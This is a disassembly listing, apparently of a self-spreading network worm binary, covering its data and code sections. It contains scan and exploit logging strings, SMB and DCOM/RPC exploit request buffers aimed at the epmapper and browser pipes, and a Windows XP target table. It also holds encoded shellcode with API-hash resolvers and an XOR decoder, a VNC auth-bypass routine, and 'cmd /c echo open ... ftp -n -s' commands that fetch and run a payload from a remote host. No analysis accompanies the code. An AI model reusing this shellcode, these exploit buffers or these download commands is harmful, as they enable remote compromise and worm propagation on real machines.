		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_431F6C	db  2Dh	; -		; DATA XREF: sub_40C3D3+317o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431FA0	db  2Dh	; -		; DATA XREF: sub_40C3D3+29Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
dword_431FD4	dd 234032Dh, 6E616373h,	202D0302h, 203A5049h, 50207325h
					; DATA XREF: sub_40C846+92o
		dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40CD85+B2o
		align 4
dword_432088	dd 10FF8h, 0		; DATA XREF: sub_40CD85+6Ao
dword_432090	dd 10FF8h		; DATA XREF: sub_40CD85+79o
dword_432094	dd 7FFDF020h, 0		; DATA XREF: sub_40CD85+162o
dword_43209C	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40D1AF+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_432124	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40D1AF+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_432154	dd 0			; DATA XREF: sub_40D1AF+44o
		dd 800000D4h, 0
unk_432160	db  81h	; 		; DATA XREF: sub_40D289+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_4321AC	db 41h			; DATA XREF: sub_40D327+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4321F0	proc near		; DATA XREF: ___:0040D606o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_4322EC
		push	dword ptr [esi]
		push	63D61209h
		call	sub_432302
		mov	[esi+8], eax
		call	sub_4322B5
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_432302
		mov	[esi+0Ch], eax
		call	sub_432267
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_432302
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_4321F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_432267	proc near		; CODE XREF: sub_4321F0+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_432290
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_432267	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432290	proc near		; CODE XREF: sub_432267+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_43229F:				; CODE XREF: sub_432290+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_4322AC
		inc	ebx
		jmp	short loc_43229F
; ---------------------------------------------------------------------------


loc_4322AC:				; CODE XREF: sub_432290+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_432290	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4322B5	proc near		; CODE XREF: sub_4321F0+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_4322CD:				; CODE XREF: sub_4322B5+1Ej
		cmp	[ecx], ebx
		jz	short loc_4322D5
		mov	ecx, [ecx]
		jmp	short loc_4322CD
; ---------------------------------------------------------------------------


loc_4322D5:				; CODE XREF: sub_4322B5+1Aj
		mov	edx, edi


loc_4322D7:				; CODE XREF: sub_4322B5+2Aj
		cmp	[edx+4], ebx
		jz	short loc_4322E1
		mov	edx, [edx+4]
		jmp	short loc_4322D7
; ---------------------------------------------------------------------------


loc_4322E1:				; CODE XREF: sub_4322B5+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_4322B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4322EC	proc near		; CODE XREF: sub_4321F0+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_4322EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_432302	proc near		; CODE XREF: sub_4321F0+16p
					; sub_4321F0+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_432318:				; CODE XREF: sub_432302+33j
		jecxz	short loc_432352
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_432325:				; CODE XREF: sub_432302+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_432331
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_432325
; ---------------------------------------------------------------------------


loc_432331:				; CODE XREF: sub_432302+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_432318
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_432352:				; CODE XREF: sub_432302:loc_432318j
					; sub_432302:loc_432352j
		jmp	short loc_432352
sub_432302	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_432358	proc near		; DATA XREF: ___:0040D5B4o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_4323AA
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_432375:				; CODE XREF: sub_432358+38j
		jecxz	short loc_4323A5
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_432380:				; CODE XREF: sub_432358+32j
		lodsb
		test	al, al
		jz	short loc_43238C
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_432380
; ---------------------------------------------------------------------------


loc_43238C:				; CODE XREF: sub_432358+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_432375
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_4323A5:				; CODE XREF: sub_432358:loc_432375j
		mov	[esp+arg_0], ebx
		retn
sub_432358	endp


; =============== S U B	R O U T	I N E =======================================



sub_4323AA	proc near		; CODE XREF: sub_432358+7p

; FUNCTION CHUNK AT 004323E2 SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_4323C3
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_4323CE
; ---------------------------------------------------------------------------


loc_4323C3:				; CODE XREF: sub_4323AA+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_4323CE:				; CODE XREF: sub_4323AA+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_4323E2
sub_4323AA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4323D5	proc near		; CODE XREF: sub_4323AA:loc_4323E2p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_4323D5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4323AA


loc_4323E2:				; CODE XREF: sub_4323AA+29j
		call	sub_4323D5


loc_4323E7:				; DATA XREF: sub_40CD85+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_4323AA
; ---------------------------------------------------------------------------
		dw 0
dword_4323EC	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CD85+2F5o
dword_4323F8	dd 30h			; DATA XREF: sub_40CD85+2CAo
dword_4323FC	dd 0A1h			; DATA XREF: sub_40CD85+29Fo
dword_432400	dd 3			; DATA XREF: sub_40CD85+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CD85+153o
		align 4


loc_43240C:				; DATA XREF: sub_40CD85+E8o
		jmp	short near ptr dword_432414
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_432414	dd 0			; CODE XREF: ___:loc_43240Cj
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: ___:0040D5DBo
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 4
dword_43247C	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA	XREF: ___:0040E01Eo
					; ___:0040E158o
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4324C8	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_40DCEA+123o
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_43282C	dd 20h,	0		; DATA XREF: sub_40DCEA+136o
		dd 20h,	5C005Ch, 0
off_432840	dd offset aEmant	; DATA XREF: sub_40DCEA+15Do
					; "emant"
a12345611111111:
		unicode	0, <$\123456111111111111111.doc>,0
		align 10h
dword_432880	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40DCEA+174o
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
off_4328B4	dd offset word_580046	; DATA XREF: sub_40DCEA+45o
		dd offset loc_42004E
		dd offset word_580046
		dd offset word_580046
		dd offset loc_42004E
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr	db ''
		db ''
		db '',0
dword_432990	dd 10016C6h		; DATA XREF: sub_40DCEA+104o
dword_432994	dd 100139Dh		; DATA XREF: sub_40DCEA+FBo
asc_432998:				; DATA XREF: sub_40DB4F+1Co
					; sub_40DC32+16o
		unicode	0, <\\>,0
		align 10h
off_4329A0	dd offset dword_49005C	; DATA XREF: sub_40DB4F+Co
					; sub_40DC32+Bo
		dd offset aLandes	; "Landes"
		dd 24h
aSExploitingIpS	db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: ___:0040E226o
					; ___:0041B90Co
		align 4
aTftpFileTransf	db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: ___:0040E1D9o
		align 4
aSPipeEpmapper	db '\\%s\pipe\epmapper',0 ; DATA XREF: ___:0040DF7Eo
		align 4
dword_432A08	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040E634o
; ---------------------------------------------------------------------------


loc_432A14:				; CODE XREF: ___:00432A1Ej
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_432A14
		inc	edi
		jz	short loc_432A5B
		and	eax, 952CE753h
		inc	esp
		jle	short loc_432A83
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]


loc_432A5B:				; CODE XREF: ___:00432A21j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_432ABA+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------


loc_432A80:				; CODE XREF: ___:00432AADj
		xor	[esi-25h], bl


loc_432A83:				; CODE XREF: ___:00432A29j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh


loc_432A9C:				; CODE XREF: ___:00432ACFj
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_432A80
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp


loc_432ABA:				; CODE XREF: ___:00432A61j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_432B46
		jo	short loc_432A9C
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_432ADD+1
		add	bl, [edi]


loc_432ADD:				; CODE XREF: ___:00432AD9j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_432AF2+2
		cmp	ch, bh
		dec	edx


loc_432AF2:				; CODE XREF: ___:00432AEDj
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------


loc_432B46:				; CODE XREF: ___:00432ACDj
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_432BCC
		sub	al, 0BCh
		jmp	near ptr 54452F3Ah
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_432B68	dd 0EFFFC481h, 44FFFFh,	432BB4h	; DATA XREF: ___:0040E61Bo
dword_432B74	dd 42Ah			; DATA XREF: ___:0040E5CEr
dword_432B78	dd 3E8h			; DATA XREF: ___:0040E63Fr
dword_432B7C	dd 258h			; DATA XREF: ___:0040E611r
byte_432B80	db 1			; DATA XREF: ___:0040E57Ar
					; ___:0040E648r
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_432B98	dd 20804h		; DATA XREF: sub_40E288r ___:0040E666o ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:00432B84o
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------


loc_432BCC:				; CODE XREF: ___:00432B50j
		push	eax
		xor	al, 29h


loc_432BCF:				; DATA XREF: ___:0040E5A2o
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 8
dword_432BD8	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: ___:0040E4D2o
dword_432BEC	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: ___:0040E476o
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040E405o
		align 4
aSIpc		db '\\%s\ipc$',0
		align 10h
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40E9CB+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_432C94	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40EAB9+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040EDF5o
		align 4
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040EC82o
		align 4
word_433ED8	dw 1			; DATA XREF: ___:0040EBF9r
					; sub_41B4FB+24r ...
		align 4
dword_433EDC	dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
					; DATA XREF: sub_41A152+21o
		dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
		dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
		dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
		dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
		dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
		dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
		dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
		dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
		dd 0
		dd 392C3003h, 5E5E207Ch, 32587256h, 7C205E5Eh, 312C3003h
		dd 3050207Ch, 46723377h, 796C6C75h, 31037C20h, 7C20382Ch
		dd 6E573020h, 3E204433h, 732520h, 20363232h, 6E617254h
		dd 72656673h, 6D6F6320h, 74656C70h, 0A2E65h, 20303531h
		dd 6E65704Fh, 20676E69h, 414E4942h, 6D205952h, 2065646Fh
		dd 61746164h, 6E6F6320h, 7463656Eh, 0A6E6F69h, 0
aRetr		db 'RETR',0
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0
aXX		db '%x%x',0Ah,0
		align 4
aS_2		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
		db ']',0
aPort		db 'PORT',0
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0
		align 10h
aList_0		db 'LIST',0
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
		align 4
aPasv		db 'PASV',0
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0
aI_0:					; DATA XREF: ___:00438010o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0
aA_0:					; DATA XREF: ___:0043801Co
		unicode	0, <A>,0
aType		db 'TYPE',0
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0
		align 4
		dd offset dword_445750
a350Restarting_	db '350 Restarting.',0Ah,0
		align 4
aRest		db 'REST',0
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0
		align 4
aSyst		db 'SYST',0
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0
		align 4
aPass_0		db 'PASS',0
		align 4
a331PasswordReq	db '331 Password required',0Ah,0
		align 4
aUser_2		db 'USER',0
		align 4
aSS_2		db '%s %s',0
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0
		align 4
unk_4341BC	db  2Dh	; -		; DATA XREF: sub_40FAA3+3F8o
		db 3, 34h, 2
